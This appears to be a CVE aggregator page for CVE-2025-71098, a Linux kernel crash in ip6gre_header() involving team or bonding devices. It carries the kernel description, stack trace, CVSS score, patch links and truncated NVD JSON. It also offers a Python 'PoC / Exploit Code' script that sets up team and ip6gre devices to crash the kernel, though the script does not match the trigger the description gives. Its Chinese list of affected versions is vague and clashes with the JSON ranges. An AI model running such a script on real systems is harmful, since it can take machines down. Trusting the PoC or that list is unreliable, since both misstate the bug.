CVE-2025-71098

Description

In the Linux kernel, the following vulnerability has been resolved: ip6_gre: make ip6gre_header() robust Over the years, syzbot found many ways to crash the kernel in ip6gre_header() [1]. This involves team or bonding drivers ability to dynamically change their dev->needed_headroom and/or dev->hard_header_len In this particular crash mld_newpack() allocated an skb with a too small reserve/headroom, and by the time mld_sendpack() was called, syzbot managed to attach an ip6gre device. [1] skbuff: skb_under_panic: text:ffffffff8a1d69a8 len:136 put:40 head:ffff888059bc7000 data:ffff888059bc6fe8 tail:0x70 end:0x6c0 dev:team0 ------------[ cut here ]------------ kernel BUG at net/core/skbuff.c:213 ! <TASK> skb_under_panic net/core/skbuff.c:223 [inline] skb_push+0xc3/0xe0 net/core/skbuff.c:2641 ip6gre_header+0xc8/0x790 net/ipv6/ip6_gre.c:1371 dev_hard_header include/linux/netdevice.h:3436 [inline] neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618 neigh_output include/net/neighbour.h:556 [inline] ip6_finish_output2+0xfb3/0x1480 net/ipv6/ip6_output.c:136 __ip6_finish_output net/ipv6/ip6_output.c:-1 [inline] ip6_finish_output+0x234/0x7d0 net/ipv6/ip6_output.c:220 NF_HOOK_COND include/linux/netfilter.h:307 [inline] ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247 NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318 mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux内核 < 5.15.x (特定commit)

Linux内核 < 6.1.x

Linux内核 < 6.6.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC概念验证代码（需要本地root/sudo权限）
import subprocess
import time

# 创建team网络设备
subprocess.run(['ip', 'link', 'add', 'team0', 'type', 'team'], check=True)
subprocess.run(['ip', 'link', 'set', 'team0', 'up'], check=True)

# 配置IPv6地址
subprocess.run(['ip', 'addr', 'add', '2001:db8::1/64', 'dev', 'team0'], check=True)

# 创建ip6gre隧道
subprocess.run(['ip', 'link', 'add', 'ip6gre0', 'type', 'ip6gre', 'remote', '2001:db8::2'], check=True)
subprocess.run(['ip', 'link', 'set', 'ip6gre0', 'up'], check=True)

# 触发MLD数据包处理
subprocess.run(['ping', '-6', '-c', '10', 'ff02::1%ip6gre0'], check=False)

time.sleep(2)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71098
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71098
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71098/
[4] VulDB https://vuldb.com/cve/CVE-2025-71098
[5] https://git.kernel.org/stable/c/1717357007db150c2d703f13f5695460e960f26c
[6] https://git.kernel.org/stable/c/17e7386234f740f3e7d5e58a47b5847ea34c3bc2
[7] https://git.kernel.org/stable/c/41a1a3140aff295dee8063906f70a514548105e8
[8] https://git.kernel.org/stable/c/5fe210533e3459197eabfdbf97327dacbdc04d60
[9] https://git.kernel.org/stable/c/91a2b25be07ce1a7549ceebbe82017551d2eec92
[10] https://git.kernel.org/stable/c/adee129db814474f2f81207bd182bf343832a52e
[11] https://git.kernel.org/stable/c/db5b4e39c4e63700c68a7e65fc4e1f1375273476

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71098", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:09.703", "lastModified": "2026-03-25T16:56:02.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nip6_gre: make ip6gre_header() robust\n\nOver the years, syzbot found many ways to crash the kernel\nin ip6gre_header() [1].\n\nThis involves team or bonding drivers ability to dynamically\nchange their dev->needed_headroom and/or dev->hard_header_len\n\nIn this particular crash mld_newpack() allocated an skb\nwith a too small reserve/headroom, and by the time mld_sendpack()\nwas called, syzbot managed to attach an ip6gre device.\n\n[1]\nskbuff: skb_under_panic: text:ffffffff8a1d69a8 len:136 put:40 head:ffff888059bc7000 data:ffff888059bc6fe8 tail:0x70 end:0x6c0 dev:team0\n------------[ cut here ]------------\n kernel BUG at net/core/skbuff.c:213 !\n <TASK>\n skb_under_panic net/core/skbuff.c:223 [inline]\n skb_push+0xc3/0xe0 net/core/skbuff.c:2641\n ip6gre_header+0xc8/0x790 net/ipv6/ip6_gre.c:1371\n dev_hard_header include/linux/netdevice.h:3436 [inline]\n neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618\n neigh_output include/net/neighbour.h:556 [inline]\n ip6_finish_output2+0xfb3/0x1480 net/ipv6/ip6_output.c:136\n __ip6_finish_output net/ipv6/ip6_output.c:-1 [inline]\n ip6_finish_output+0x234/0x7d0 net/ipv6/ip6_output.c:220\n NF_HOOK_COND include/linux/netfilter.h:307 [inline]\n ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247\n NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318\n mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855\n mld_send_cr net/ipv6/mcast.c:2154 [inline]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nip6_gre: hacer que ip6gre_header() sea robusto\n\nA lo largo de los años, syzbot encontró muchas maneras de colapsar el kernel en ip6gre_header() [1].\n\nEsto implica la capacidad de los controladores de equipo o de enlace (bonding) de cambiar dinámicamente su dev->needed_headroom y/o dev->hard_header_len\n\nEn este colapso particular, mld_newpack() asignó un skb con una reserva/espacio de cabecera (headroom) demasiado pequeño, y para cuando se llamó a mld_sendpack(), syzbot logró adjuntar un dispositivo ip6gre.\n\n[1]\nskbuff: skb_under_panic: texto:ffffffff8a1d69a8 longitud:136 puesto:40 cabecera:ffff888059bc7000 datos:ffff888059bc6fe8 cola:0x70 fin:0x6c0 dispositivo:team0\n------------[ cortar aquí ]------------\n BUG del kernel en net/core/skbuff.c:213 !\n \n skb_under_panic net/core/skbuff.c:223 [en línea]\n skb_push+0xc3/0xe0 net/core/skbuff.c:2641\n ip6gre_header+0xc8/0x790 net/ipv6/ip6_gre.c:1371\n dev_hard_header include/linux/netdevice.h:3436 [en línea]\n neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618\n neigh_output include/net/neighbour.h:556 [en línea]\n ip6_finish_output2+0xfb3/0x1480 net/ipv6/ip6_output.c:136\n __ip6_finish_output net/ipv6/ip6_output.c:-1 [en línea]\n ip6_finish_output+0x234/0x7d0 net/ipv6/ip6_output.c:220\n NF_HOOK_COND include/linux/netfilter.h:307 [en línea]\n ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247\n NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318\n mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855\n mld_send_cr net/ipv6/mcast.c:2154 [en línea]\n mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.7.1", "versionEndExcluding": "5.10.248", "matchCriteriaId": "9D2BAAC6-E105-44A2-B4BB-9A5CACCA6649"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.198", "matchCriteriaId": "82159CAA-B6BA-43C6-85D8-65BDBC175A7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.160", "matchCriteriaId": "C10CC03E-16A9-428A-B449-40D3763E15F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.120", "matchCriteriaId": "43C3A206-5EEE-417B-AA0F-EF89 ... (truncated)